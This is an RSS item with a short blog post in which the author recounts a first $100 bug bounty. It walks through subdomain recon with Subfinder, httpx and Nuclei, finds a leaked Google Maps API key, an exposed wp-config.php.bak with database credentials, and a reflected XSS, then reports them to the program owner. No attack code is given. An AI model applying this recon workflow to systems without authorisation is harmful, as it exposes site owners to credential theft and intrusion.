            <pubDate>Sun, 08 Jan 2023 15:33:14 GMT</pubDate>
            <atom:updated>2023-01-08T15:33:14.529Z</atom:updated>
            <content:encoded><![CDATA[<h3>My First Bug Bounty Reward : $100 in 5 min</h3><p>Hello everyone,</p><p>My name is <a href="https://www.linkedin.com/in/arrhenius-paelongan/">Arrhenius Angi Paelongan</a>, you can call me Nius or Qchad :D. This is the story of how I found a bug on a website and received my first bug bounty prize.</p><p>So, long story short my friend recommended a program to me, without thinking I immediately decided that I will take a look at it. Lets call it redacted.com</p><p><strong>Here we go..</strong></p><p>I started my recon by first checking the list of subdomains using Subfinder</p><p><a href="https://github.com/projectdiscovery/subfinder">GitHub - projectdiscovery/subfinder: Fast passive subdomain enumeration tool.</a></p><p>Then I used Wappalyzer to see what technologies were being used by the domain. You can install its extension on your own browser, here I am using Google Chrome.</p><p><a href="https://www.wappalyzer.com/">Find out what websites are built with - Wappalyzer</a></p><p>After that, using Wappalyzer I saw that one of the subdomains, login.redacted.com, was using Google Maps. I then immediately searched for any leaked Google Maps API in the source code and I found the Google Maps API. Now, I need to check if it is vulnerable or not using an online Google Maps API Key Checker. You can also use other tools in your terminal such as gmapsapiscanner made by ozguralp. And BOOM, its vulnerable!</p><ul><li><a href="https://googlekey.blindf.com/">Google Api key Checker</a></li><li><a href="https://github.com/ozguralp/gmapsapiscanner">GitHub - ozguralp/gmapsapiscanner</a></li></ul><p>Not satisfied with just that, I then tried other methods. From the subdomains that I had collected using Subfinder, I then used httpx to check which subdomains were active or dead.</p><p><a href="https://github.com/projectdiscovery/httpx">GitHub - projectdiscovery/httpx: httpx is a fast and multi-purpose HTTP toolkit that allows running multiple probes using the retryablehttp library.</a></p><p>I then used a vulnerability scanner called Nuclei to search for vulnerabilities present in the subdomains.</p><p><a href="https://github.com/projectdiscovery/nuclei">GitHub - projectdiscovery/nuclei: Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.</a></p><p>Using Nuclei, I found a file named wp-config.php.bak that contained sensitive information such as database credentials. I also found a reflected XSS.</p><p>I then contacted the owner of the program and made a report of my findings and gave it to them. They responded well and stated that my findings were valid. After two weeks, they contacted me and gave me a reward of $100.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FuiW8Ui19VX5xm%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FuiW8Ui19VX5xm%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FuiW8Ui19VX5xm%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/fb76e20f46014883243ffb84c1fd9227/href">https://medium.com/media/fb76e20f46014883243ffb84c1fd9227/href</a></iframe><p>I was like, yeah finally! After working hard for so long finding many duplicates, I finally succeeded in getting my first bounty.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Ft3sZxY5zS5B0z5zMIz%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Ft3sZxY5zS5B0z5zMIz%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2Ft3sZxY5zS5B0z5zMIz%2Fgiphy-downsized-large.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/18526516f9f04c9967eca8933ad63c33/href">https://medium.com/media/18526516f9f04c9967eca8933ad63c33/href</a></iframe><p>So, thanks a lot for reading it till the end. I hope you will find this article interesting. Cya!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1117d727dc2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>